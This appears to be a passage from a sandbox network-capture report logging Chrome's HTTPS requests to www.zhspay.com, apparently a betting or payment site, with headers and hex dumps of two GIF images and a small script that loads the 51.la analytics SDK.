2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 43 c9 a9 cb 5d a2 93 5f c6 3b 67 45 29 13 b0 19 35 0f 9e 9d 93 56 25 4b 47 d0 eb 1d d3 a2 23 4d 67 e1 fa 79 52 94 9a 65 99 c8 31 df 1e eb 20 50 d0 1c 6d 9b 33 ed 92 60 d4 37 c9 c9 49 ee 2d 89 1c 27 19 73 09 d1 73 42 92 a2 2d 9d dc 3d 81 39 c3 45 38 6f 21 67 92 a7 4d 82 fa d4 3c 82 91 9e ff 5c e9 0e f5 99 52 ac 66 35 2b 91 d4 e1 ce f4 68 3e 6b 32 71 a5 22 9c a9 e1 2a 85 b2 ab d0 49 50 cf ea 29 0d 5a 72 b0 a2 a2 33 29 8d 5c d7 5c ad d4 37 1a c2 88 2d 6f c0 65 4f 52 37 d6 9e e1 13 94 a2 14 19 60 b5 7a 58 c4 6e 67 87 6f 0a 28 5a 0e 62 b6 c0 25 30 ff 30 06 0d 16 d5 50 86 32 7d 55 a5 3c 5a 14 1e 4f dd da d6 87 42 ae 91 72 9d ab 39 6b d7 0c bb aa 88 38 a7 63 6a 5f 6f 84 47 92 ae 53 a6 ae a4 2a 6c 9b 89 44 63 26 56 b7 ba 5d 2c f9 90 d6 d8 b0 46 eb 25 32 9d 2c 65 Data Ascii: C]_;gE)5V%KG#MgyRe1 Pm3`7I-'ssB-=9E8o!gM<\Rf5+h>k2q"IP)Zr3)\\7-oeOR7`zXngo(Zb%00P2}U<ZOBr9k8cj_oGSlDc&V],F%2,e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49753	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:40 UTC	607	OUT	GET /zhuye/img/tyc1.gif HTTP/1.1 Host: www.zhspay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.zhspay.com/zhuye/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:40 UTC	231	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:40 GMT Content-Type: image/gif Content-Length: 244502 Last-Modified: Thu, 09 Jun 2022 16:05:12 GMT Connection: close ETag: "62a21a38-3bb16" Accept-Ranges: bytes
2024-09-27 03:50:40 UTC	16153	IN	Data Raw: 47 49 46 38 39 61 e8 03 64 00 f7 ff 00 77 1e 0e a3 57 1f 9c 67 5a 92 1c 0d f7 58 34 02 8f bd ff 86 38 fe ad 59 ff ec 2d ff f5 4e ff db 30 fc d2 4f ff f8 6a f8 69 4a b2 af b0 f0 36 2a ee d9 f3 ff ff a8 f7 54 43 fe 86 45 db db db 4a 44 31 f3 c8 b2 d3 51 d3 35 32 29 ff fb 85 ff 77 45 fe e7 da ed eb ec ff e9 78 d4 29 31 ff fa 99 75 6e 47 ff dc 11 ee 4a 37 a9 66 a9 fc b2 0c c7 b9 b7 8d 8b 8b 91 84 4c f8 5a 28 f4 b5 2d f2 2a 42 f3 b9 ac f9 d9 cb 6d 6c 6c e7 58 17 fe dd 63 b2 93 91 a4 53 f2 f4 46 69 cf b1 55 b3 25 ed ff ef 87 fd da 74 aa 95 4f b3 ad 6c fc ae 92 de 61 c8 d0 50 29 ff ff 75 9f 37 72 ff 75 54 fb de d7 ca c9 ca d3 ad d2 f9 8b 6c fe 69 54 da c8 6d fd 95 01 ea 46 24 d4 cf 87 f8 ed f8 ef 53 42 b2 8f 15 0b 03 07 ee 52 38 ff eb 15 cb 94 cd a8 11 f6 f7 93 Data Ascii: GIF89adwWgZX48Y-N0OjiJ6TCEJD1Q52)wEx)1unGJ7fLZ(-BmllXcSFiU%tOlaP)u7ruTliTmF$SBR8
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 3e 67 c4 4e 1c 01 e1 9f 14 38 d2 ff 22 06 9a 36 b7 f1 ee 0d e9 f5 46 43 83 47 bc d7 d2 98 07 d0 43 d0 0c 00 89 8f 00 4c e9 41 e7 4c c4 67 03 a0 89 2e f1 31 8d 67 02 b2 91 47 9a 63 39 c6 b4 4f 45 ae 31 20 df 07 e5 d7 36 79 a6 35 f5 60 0a 21 7b 02 72 19 50 1f 20 b8 41 1a 66 90 86 4f f5 b4 a8 20 80 ac 20 98 d2 8f 13 e8 63 a8 37 b8 c1 09 a2 da 81 2d ee 2b 28 1a 04 e1 41 a6 81 03 62 d4 e0 57 5d 01 41 3e 40 08 87 ad 56 60 0b 5b c0 d7 17 40 75 55 43 03 36 62 6e 08 6b 25 f4 f1 2b 32 54 6b 83 5c 71 a1 58 d1 4a 10 37 60 20 5b 73 3d 82 1c e6 9a 11 69 29 ec 87 eb 5a 89 10 57 92 55 9a 3c d0 2b 00 7b b5 57 0f a2 af fe c1 ba d6 02 6b ec 55 73 7d 02 84 91 a1 02 20 a8 4a a9 bc 98 d9 11 6e c1 39 07 b0 18 d8 92 8d b5 d0 8a 96 b4 ca 06 5b 31 50 eb 17 25 ac 36 65 01 78 36 b6 Data Ascii: >gN8"6FCGCLALg.1gGc9OE1 6y5`!{rP AfO c7-+(AbW]A>@V`[@uUC6bnk%+2Tk\qXJ7` [s=i)ZWU<+{WkUs} Jn9[1P%6ex6
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 1c 89 c0 46 3f c0 80 90 9c 01 17 ff 08 82 07 4b 24 4c 5e b4 aa 15 b7 d5 85 5e 52 68 a3 38 e9 d1 a6 d0 8e 33 b4 78 f9 6c 47 f3 fa 0e 91 74 69 55 af 54 f5 ba f7 ae b7 76 7e 38 01 06 7a ea 53 0c a4 0a 2d cf 0a 70 a8 45 1d 6a 0c 10 f8 c0 a7 16 ab 82 c7 ba ca d8 3c 18 c2 6a 95 30 85 df 7a d7 0d d7 da d6 b7 e6 cd 26 52 c0 86 5a d4 62 13 fc f0 c0 5f 83 dd 61 15 1b 88 3c 11 82 45 2b 99 98 90 57 47 38 65 d8 63 82 a2 4d c6 a1 59 b4 b1 d0 df 14 50 38 85 d1 00 8a 29 fa 16 39 c8 c1 7c 56 90 03 28 b8 f3 17 2d ea 6c 0a 34 d1 59 05 68 22 46 3b bb 98 69 4f 6b e5 2a 79 c6 9f 35 9c 32 92 ca e8 e5 83 9a 29 89 df 9d 14 04 4d 76 a8 f0 86 17 c2 6c 92 9e 44 11 3e 3d 0a 71 50 6c b3 18 47 08 b8 a0 80 0e d4 a0 06 09 78 46 72 39 a6 89 d9 84 8c bc db ad 83 08 9a 3d f2 90 d7 41 02 23 Data Ascii: F?K$L^^Rh83xlGtiUTv~8zS-pEj<j0z&RZb_a<E+WG8ecMYP8)9\|V(-l4Yh"F;iOk*y52)MvlD>=qPlGxFr9=A#
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 09 14 2c 6e d5 8a 31 02 06 3c 5e 78 53 3b 39 38 5a 98 5d 31 9d 7b 81 9c f6 33 05 0a de 32 ff 80 8c 49 ef 84 04 8a c1 ab 07 ff 2c c1 82 c8 66 8d 10 60 4d bf be fd fb f8 f3 eb 4f 4a 7a bf ff ff 00 06 28 60 6b 0f 54 67 18 7a 8d ad a7 5c 6e f1 f0 d6 db 57 2f 75 41 17 26 14 52 d8 85 70 ff 74 21 cc 71 0a b4 12 0d 63 e0 31 d6 9c 02 d0 1d 90 a1 75 64 71 25 a1 89 08 30 96 20 88 09 60 71 8e 25 e7 24 90 a0 7a 8b e1 98 00 1b 17 9a c5 c4 80 40 06 29 e4 90 44 ea d7 5f 91 48 26 a9 e4 92 ac 89 20 c5 6b 4e 75 41 00 7a 0a 8e 08 de 73 04 74 51 13 5d 92 2d 72 48 3c f1 5c 23 8e 11 14 16 78 a1 18 3c 20 10 cd 87 0a b6 79 46 2b 0a 44 47 a6 81 4f 01 d7 85 18 ff e4 d8 a6 8e 0c c4 b3 40 8b 0a 92 40 82 82 7d 96 d7 94 08 fc 74 c5 e4 a2 8c 36 ea 68 91 47 3e 2a e9 a4 94 52 ea 24 3f 50 Data Ascii: ,n1<^xS;98Z]1{32I,f`MOJz(`kTgz\nW/uA&Rpt!qc1udq%0 `q%$z@)D_H& kNuAzstQ]-rH<\#x< yF+DGO@@}t6hG>*R$?P
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: bc b2 30 61 84 73 4c 00 5a 22 58 1f 6c ea 02 13 a6 a7 e2 16 3b e1 0d ac 60 1f f6 91 74 04 78 80 07 78 0b a4 57 7a 1e e0 79 62 50 75 f0 c4 6b 8c d0 4a eb 35 6a 23 e7 5e 5d 05 66 c3 73 7b 1c a0 54 61 d7 3b 81 b3 4f 32 73 4a a8 85 46 76 a0 81 42 a1 7c fe 50 3c 5e 04 66 6d 97 65 c5 a3 5a 00 d0 7c 9e 75 3b 0e 10 7d 1c 40 01 a9 b4 76 09 86 7d 22 08 13 8b 00 78 09 24 65 e4 17 7e bd 55 84 48 78 20 a5 a1 48 0f c0 04 ef f0 0e e4 c0 4d e3 b1 13 a1 92 1b f5 37 01 07 c8 0a ef 90 7f 45 84 4e ea a3 1b 28 f5 23 eb 23 4e 98 b0 52 0b 90 00 68 98 00 0b c0 06 e7 d0 85 66 a1 5b ff 90 79 c2 00 75 e3 63 04 76 78 87 22 90 87 7a 28 02 77 d8 87 77 b8 1a 0c e8 01 fc 00 69 34 a1 09 8c a5 33 cb b6 3c af 87 45 b1 87 64 ee ff 85 3d 59 00 66 a7 04 41 80 03 03 7b d0 3b 1f 54 02 81 43 32 Data Ascii: 0asLZ"Xl;`txxWzybPukJ5j#^]fs{Ta;O2sJFvB\|P<^fmeZ\|u;}@v}"x$e~UHx HM7EN(##NRhf[yucvx"z(wwi43<Ed=YfA{;TC2
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 01 19 7d d0 09 0d 16 93 0c d2 a2 ed b7 1e 0d b8 0e 2d d1 29 64 01 fe a0 b7 be 01 0b 08 8c b7 1b 30 da b2 cd c0 54 b0 02 25 4d 7a 40 e1 c1 06 fb 12 49 20 0c 82 89 ca 77 7a 13 af 18 dc 28 0d 13 b7 f0 db 6b 28 8b 0e 9b a8 16 7b b1 00 c0 08 00 60 d4 16 1b b1 a8 fb b9 c4 eb 00 4f dd 56 3a 21 00 1c 30 0a 5b ff ed c3 56 cd 01 03 00 00 aa ba 07 03 b0 08 c8 8c 1a 03 30 0a cb cc cc 5a 00 00 30 c0 01 64 fd d4 31 3b a9 c3 0b 04 53 ac d8 5c ea ca dc 6c ba 3b 20 d7 30 41 d7 e3 ec d8 40 71 d7 c0 5b bd 9d 20 b1 cb ea b5 7f 7d bf da 3a de 71 40 09 78 1d 13 62 1b 13 ae 70 e1 18 9e e1 1a 6e bf 0a 40 13 c5 fa ce 18 6e 13 ae 40 09 8c 9d 13 8e 7d cf 91 1d 2d 83 40 d9 30 e1 a4 4a 9a 08 0e 91 06 4c 12 16 89 dc c0 88 22 16 08 bd c8 b4 e0 0f 3f b0 02 92 fc 03 40 1e e4 0b 3c db 0d Data Ascii: }-)d0T%Mz@I wz(k({`OV:!0[V0Z0d1;S\l; 0A@q[ }:q@xbpn@n@}-@0JL"?@<
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 2f 56 83 1f 0c da 6a 84 62 68 c8 04 c4 f1 41 b2 dd a7 21 3b 48 08 09 63 63 c2 8b 40 46 13 0d 7c 5b d3 14 a2 c2 17 46 53 9a d3 7c 21 0e 09 67 b8 1c ff ea f1 86 3b e4 26 37 7b a8 91 1f 36 a4 5b 36 61 42 3c 8c f8 95 67 3c 23 2a 2f d2 ca 13 9b e2 b9 11 d1 2b 28 ef 22 8a 55 82 82 3a 79 26 e0 89 f0 54 c0 aa 16 21 02 0f fc eb 2d 70 61 90 0d 6a c0 04 26 31 01 2f 0d c9 40 0d 0a a6 d0 36 3e 4f 22 9a 88 04 23 4a c0 98 7f 38 c0 64 09 09 c0 61 76 60 39 ee f1 91 02 76 e8 43 f8 3c 00 c8 50 48 21 12 6f 28 e4 69 30 59 34 f6 2d d2 34 08 d9 cd 23 63 83 99 c3 48 64 67 06 60 05 2b 14 d5 9a 98 e6 6f 7f f1 98 4d 44 b6 61 d3 4a 05 80 4b 02 70 80 1d 8c 93 90 a3 95 e0 0d 75 bc 58 02 17 c4 90 81 b0 02 98 12 29 4c 24 02 55 91 17 68 0d 21 e2 c0 82 7e 22 b1 d5 83 00 2a 22 a0 b8 95 31 Data Ascii: /VjbhA!;Hcc@F\|[FS\|!g;&7{6[6aB<g<#/+("U:y&T!-paj&1/@6>O"#J8dav`9vC<PH!o(i0Y4-4#cHdg`+oMDaJKpuX)L$Uh!~""1
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 80 b8 30 00 de 8c 87 1d f8 87 40 8d 53 4c a5 cd 3d 75 cc 2a 71 8b a5 a9 85 4a 88 80 0c 10 83 0f 48 00 04 38 c9 39 20 01 6d 43 86 66 88 84 48 91 1b 89 4c 0c c0 58 3c c2 98 22 4d b9 48 46 39 1c 0a 28 cf 4f 09 83 f3 4c cf 12 80 01 39 10 c8 17 d8 d5 92 e4 02 6e 45 c9 26 40 00 04 c0 82 08 f0 83 66 c8 cf 78 40 37 3b d2 03 67 78 06 46 a0 86 14 e3 00 02 dd 05 3d 18 83 58 28 01 be 71 07 62 e3 c9 1c 48 85 de 80 50 1d 1d 4a d9 1b 8e 44 b2 bd b3 52 4a 40 44 85 0a 70 4a 10 ad 1d 86 5d 16 49 d2 9d 1f 18 3e 45 84 58 d9 90 8d ff 0d e8 1d 0b 58 01 eb 40 2f 46 00 0a 01 d0 d8 1c 10 82 54 c0 d1 88 9b 44 b0 84 b8 1e 05 52 95 5d 59 c6 5a 97 ec 23 d2 26 15 02 51 04 bf d6 c8 81 2e 70 b9 7e 59 26 ca b1 52 58 84 39 56 ac 8c bf ac 90 36 3b 11 84 f8 85 74 b8 a3 15 40 88 81 48 88 06 Data Ascii: 0@SL=u*qJH89 mCfHLX<"MHF9(OL9nE&@fx@7;gxF=X(qbHPJDRJ@DpJ]I>EXX@/FTDR]YZ#&Q.p~Y&RX9V6;t@H
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 56 4a 3f 10 0e 78 92 0e 13 43 0b 60 90 41 22 70 ac dc da 05 d3 c1 08 39 51 01 d4 e0 af fe 5a 01 01 2b b0 02 0b b0 04 fb 6e 2f 91 a5 2c f1 3b ab 94 a5 cc f0 5f 15 e1 a5 03 17 a6 ec c0 15 6c d4 8f 8e b0 65 6a 01 86 8f b5 9b 31 e0 00 63 40 0f 5e 1a a7 c4 c3 0e d1 d3 9c 86 00 0b cf a9 a7 2b cb b2 2d cb 64 eb 89 66 e3 19 72 d2 47 9e 81 4a a8 37 db 87 20 99 a8 e5 c9 7c 02 53 9e d8 d5 93 f1 29 b4 99 4a a9 fb 49 b4 3b 79 a9 48 7b b4 96 5a 94 83 b1 8a dc 29 02 04 48 aa 32 62 18 43 c0 9d aa 38 18 42 00 06 43 d0 07 af 11 ff 5e 7e 91 04 5d cb a9 82 51 07 0f b0 06 12 30 18 99 59 1b 5f 4b 1c 96 23 18 22 e9 87 81 e1 03 54 83 1c 7e 71 af ca aa ac 14 d3 ac 7d 51 b6 d3 e1 b6 f4 c4 0f 52 20 05 fc 30 97 a0 b0 58 bd 84 b8 00 67 57 ff b6 02 9c 09 06 99 79 69 cf e1 17 6d 4b 80 Data Ascii: VJ?xC`A"p9QZ+n/,;_lej1c@^+-dfrGJ7 \|S)JI;yH{Z)H2bC8BC^~]Q0Y_K#"T~q}QR 0XgWyimK
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: f0 04 57 08 1a 90 49 38 50 a2 94 7a 88 04 73 5b 47 85 ff c3 28 c4 33 b7 85 c1 28 74 d4 06 e8 ac 26 f2 ac 07 87 30 40 07 34 db 08 e6 58 9d f0 29 a2 8a 0a b3 b0 42 fb 05 10 97 cc 68 4a 86 d9 fe 5b 65 ca 66 64 46 34 a1 c6 d8 11 5b 2d 41 60 06 34 46 e6 2f 2a aa 6a 8a c4 64 f0 b0 47 bb 30 d6 42 71 08 48 31 36 86 1c 26 18 c1 74 96 19 4b 3f c0 48 18 20 17 7f 23 cb 81 63 aa 2a ae 18 27 2e 05 a6 31 35 65 99 98 65 20 e4 9a 19 36 71 41 9a b5 b1 b4 c0 71 1c df 13 2b 1f 72 3f ee b1 1e 6f 87 26 37 35 e7 ca 42 29 64 6f 41 bc 72 29 0c 32 41 b0 e7 3e 25 b2 22 b3 e7 1d ec c0 3f cc c3 48 cc 43 f6 3a b5 10 8c c3 2f ec 00 18 bc 83 10 7c 80 02 9c 41 9f 74 6e 1e dc f5 5d 0b af 2f e0 75 1e f8 42 14 4d c1 20 2f 8c 0d 28 ef 1c bc 00 72 a1 c1 eb 52 f5 ec 8e c4 27 a7 0e 14 b0 07 56 Data Ascii: WI8Pzs[G(3(t&0@4X)BhJ[efdF4[-A`4F/jdG0BqH16&tK?H #c'.15ee 6qAq+r?o&75B)doAr)2A>%"?HC:/\|Atn]/uBM /(rR'V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49755	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:40 UTC	360	OUT	GET /zhuye/jquery.la.min.js HTTP/1.1 Host: www.zhspay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:40 UTC	239	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:40 GMT Content-Type: application/javascript Content-Length: 718 Last-Modified: Thu, 09 Jun 2022 16:05:13 GMT Connection: close ETag: "62a21a39-2ce" Accept-Ranges: bytes
2024-09-27 03:50:40 UTC	718	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 22 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 70 29 7b 5c 22 75 73 65 20 73 74 72 69 63 74 5c 22 3b 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 73 3d 77 69 6e 64 6f 77 2c 65 3d 64 6f 63 75 6d 65 6e 74 2c 69 3d 70 2c 63 3d 5c 22 5c 22 2e 63 6f 6e 63 61 74 28 5c 22 68 74 74 70 73 3a 5c 22 3d 3d 3d 65 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 3f 5c 22 68 74 74 70 73 3a 2f 2f 5c 22 3a 5c 22 68 74 74 70 3a 2f 2f 5c 22 2c 5c 22 73 64 6b 2e 35 31 2e 6c 61 2f 6a 73 2d 73 64 6b 2d 70 72 6f 2e 6d 69 6e 2e 6a 73 5c 22 29 2c 6e 3d 65 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 5c 22 73 63 72 69 70 74 5c 22 29 2c 72 3d 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 Data Ascii: document.write("<script>!function(p){\"use strict\";!function(t){var s=window,e=document,i=p,c=\"\".concat(\"https:\"===e.location.protocol?\"https://\":\"http://\",\"sdk.51.la/js-sdk-pro.min.js\"),n=e.createElement(\"script\"),r=e.getElementsByTagName(\"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49757	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:40 UTC	359	OUT	GET /zhuye/img/bet2024.gif HTTP/1.1 Host: www.zhspay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:40 UTC	231	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:40 GMT Content-Type: image/gif Content-Length: 162061 Last-Modified: Wed, 07 Feb 2024 05:39:06 GMT Connection: close ETag: "65c3177a-2790d" Accept-Ranges: bytes
2024-09-27 03:50:40 UTC	16153	IN	Data Raw: 47 49 46 38 39 61 e8 03 2c 01 b3 0f 00 ae 66 35 3b 4a 35 f5 f0 90 d8 c9 49 60 8d 4c eb ee ee a2 9d 7e d8 b4 85 fc fd c8 ff f6 04 59 2b 02 13 13 13 00 46 23 ed 11 0f ff ff ff 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 ff 0b 58 4d 50 20 44 61 74 61 58 4d 50 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 Data Ascii: GIF89a,f5;J5I`L~Y+F#!NETSCAPE2.0!XMP DataXMP<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: e6 6a 6a a2 90 af 0a 2b 7a 02 c1 7c f9 aa 5e 00 41 c8 2c 2b fe d9 d0 83 8e c8 83 72 9c b8 11 a3 0f d8 10 31 06 6b 7e 1a 2b fe fd 6a 7d 7a 56 b1 d6 85 37 86 85 85 a2 27 86 5e 68 86 86 d2 ba 76 68 89 76 a8 b3 8a a8 a7 98 4e 1d 11 08 fd 7c 1e 8e de cd b0 9d 02 21 c6 a8 73 c2 9c cd dc d8 cc dd e8 8d f6 47 c1 0c 89 65 ce 00 36 dd 80 c8 10 e6 6c 48 62 65 f8 8b 1b 49 81 21 2c a6 38 45 5b 15 5c e2 f9 30 26 73 98 50 18 ac 17 94 b6 d7 b7 6d 83 b8 85 82 66 25 2a 49 d9 eb 01 bc d8 a8 79 4b 63 26 22 99 ea 98 cc 72 a5 11 fd 80 0a e4 5b 81 b9 cc a5 3e 54 26 90 1f 7d ff 10 5c c9 ac 0c 33 e8 cb 45 a9 66 a5 14 5c 6b 76 d0 34 62 43 6c 62 83 84 1e c8 18 00 57 83 b4 db 05 31 2d a3 94 54 8b e5 85 b1 7a ce 58 2c 1c c5 35 06 4f 7d 42 85 d0 1c 09 30 60 08 70 6a 8f 49 02 72 49 e6 Data Ascii: jj+z\|^A,+r1k~+j}zV7'^hvhvN\|!sGe6lHbeI!,8E[\0&sPmf%*IyKc&"r[>T&}\3Ef\kv4bClbW1-TzX,5O}B0`pjIrI
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 68 74 02 4e f8 c3 85 e9 07 de 82 af 40 24 36 41 dc 3c e0 09 96 60 18 1a 68 c8 ae 8c c0 90 6d 00 a3 f9 3a 14 05 5a a8 64 3b 20 4c e0 bb fc 1a b2 76 e1 2f b5 68 97 cc f0 3d 51 2c 90 88 58 a5 01 d8 80 6f 0b 2d 14 eb 11 5e f0 91 92 52 3e 57 b4 88 5c 54 89 22 e2 04 db 11 22 28 91 15 5b f4 be a1 7a 3a 80 98 0c 88 c8 91 31 21 30 11 bb 0c 80 9b 84 44 a8 16 89 0b c3 6b 11 40 5e da c3 d5 92 bc 84 7b 16 fb cb b4 f9 63 26 f0 f9 03 3f 20 0d e8 20 17 aa d4 0a 0e f2 0d 94 e1 8b 42 79 1c 0f 94 8b c2 8a 8b 39 a2 90 ce cb 08 81 5a 9c 8f 83 98 ae 92 47 b7 68 b9 21 1c 1c ff 1e d4 47 85 89 17 94 4b 8b e0 9c c0 27 ea 35 de 61 89 89 24 33 9c 91 3e a9 73 9d c8 92 3a 21 fc be 22 71 15 db f9 11 13 18 a0 03 d9 07 f3 78 14 0b f4 0a 93 50 2b ea b4 a7 4d a1 2b d1 9a ab 80 38 28 80 38 Data Ascii: htN@$6A<`hm:Zd; Lv/h=Q,Xo-^R>W\T""([z:1!0Dk@^{c&? By9ZGh!GK'5a$3>s:!"qxP+M+8(8
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: e2 a7 83 f8 78 c7 2b 49 f3 63 59 e3 0d df 0c 93 95 b2 d6 be 9a ea 49 54 7e 85 95 55 29 96 18 14 fc 41 2f f7 5e 2e d7 58 c7 23 05 cd 93 18 b8 74 63 cc b3 4b 68 d6 71 ac 94 1b c0 64 3d 0f 73 1e 41 a7 3d 73 d6 07 8b 20 70 91 c0 4c 7e c6 4c a7 95 2d ae e1 5d d8 c4 66 9d b1 75 ad 34 28 bb b2 65 e4 52 02 f2 52 75 44 81 75 6c a4 6e 20 46 1f ac 22 7d 45 c2 3b 44 c2 3b 68 25 0b fa 77 0a ca 02 43 99 e0 26 01 d0 50 cf e0 26 33 45 09 b5 f7 7b 11 03 08 0a d1 84 48 a2 28 12 22 78 e0 65 0e fb 51 6c eb d7 14 2c a2 31 1a 45 61 ef b4 01 c1 53 51 2e e0 83 a0 96 0a 13 f2 ff 5e 48 a8 32 b8 b5 05 38 53 3d 58 b2 73 05 02 02 54 c5 52 3b 31 65 03 d5 73 67 e7 09 8e e0 6d 62 58 87 b5 a0 0a 7e 08 37 8a d2 79 2e 75 27 34 30 63 ce 06 17 4c 90 2c 63 10 56 2c 56 76 1b 01 02 b9 30 11 9c Data Ascii: x+IcYIT~U)A/^.X#tcKhqd=sA=s pL~L-]fu4(eRRuDuln F"}E;D;h%wC&P&3E{H("xeQl,1EaSQ.^H28S=XsTR;1esgmbX~7y.u'40cL,cV,Vv0
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 1d 1b 56 c8 0e e2 b4 ce 84 20 e7 c5 2b ca 75 82 00 ad ed 99 8d 7b 3a e5 1a c4 0f de 84 22 71 ac b8 5a 29 9f 51 89 d3 b2 15 73 27 27 aa de 34 02 74 28 3c 32 47 a7 0b 52 85 c4 ee a3 2e d1 50 1b 87 87 2f 45 2b 9a bb 82 c4 17 4b f5 d8 47 02 dc b2 27 25 ca 9d a3 89 c2 5e a1 cc d4 bd ed 6d de 63 e2 bb b0 e6 f1 14 bf a5 8e 6f 92 8e 04 16 8a 19 55 2b 3b e9 94 b3 10 31 e3 6e 02 e5 7a 0b 5e 80 ad 15 2c ca 2b a1 f2 c1 46 e0 23 fa de 17 6c 5c bb 40 01 e4 2b 5f 5f f8 62 26 64 fb 60 4e 43 ca 93 2f 49 1c ed 5f 52 03 0e ab fa 71 63 0d e5 e2 78 10 51 21 d7 69 c5 ea 18 ff f0 d8 1c 57 93 a9 0b 94 20 30 40 a3 35 4a b9 28 c0 67 0b 80 9a 05 fa 5c 83 6c cb 3b 7a 08 f2 39 1b 52 e5 df a6 21 c9 74 4e 8d 3d 65 e5 1b 75 16 e7 b4 b1 6d 0e 8f 99 e1 0c 8d 8a 56 ca c8 9a e2 29 fa 86 f0 Data Ascii: V +u{:"qZ)Qs''4t(<2GR.P/E+KG'%^mcoU+;1nz^,+F#l\@+__b&d`NC/I_RqcxQ!iW 0@5J(g\l;z9R!tN=eumV)
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 0d bc bd 07 ae 0e 05 05 1f c4 19 1a 00 c7 c9 c8 0b bd be c0 c2 c4 c4 0b 1a 16 d5 d6 d7 14 ba 06 ba da dc de db b9 e0 b9 e1 e2 e5 15 dd 13 18 19 17 e9 eb 1d ec c7 21 1b 22 f4 23 2a 96 26 28 f7 2a 2d 2d 31 fe fb 5a a8 70 21 10 92 41 21 31 34 25 3c c8 10 d0 17 37 5e b0 48 61 12 80 62 14 27 61 ac 28 01 33 23 63 46 2d 5a ff 1e 82 14 39 65 a4 46 23 71 e8 c8 51 c9 32 25 18 97 63 38 7a 61 10 32 cc c8 9b 12 b1 8c ac f2 a6 0f cb 3a 39 e7 08 25 43 14 0f 4f 9f 7c 1a 1a 94 34 63 54 a7 85 a4 28 5d da a4 90 2a 27 a8 36 9c 7a aa 81 b5 91 d6 4f 53 17 56 1d 1b 95 58 25 14 f5 4e 74 78 01 b0 2d 8b 7f 62 61 64 b2 44 77 85 d8 ba 78 57 68 38 95 aa 00 b0 57 b1 56 d5 92 95 2a 17 ae c3 00 06 00 68 d6 00 c0 df 61 14 30 20 4b d6 41 84 81 24 8c 1b 08 03 b6 21 32 4d 5e d4 d4 a9 c3 56 Data Ascii: 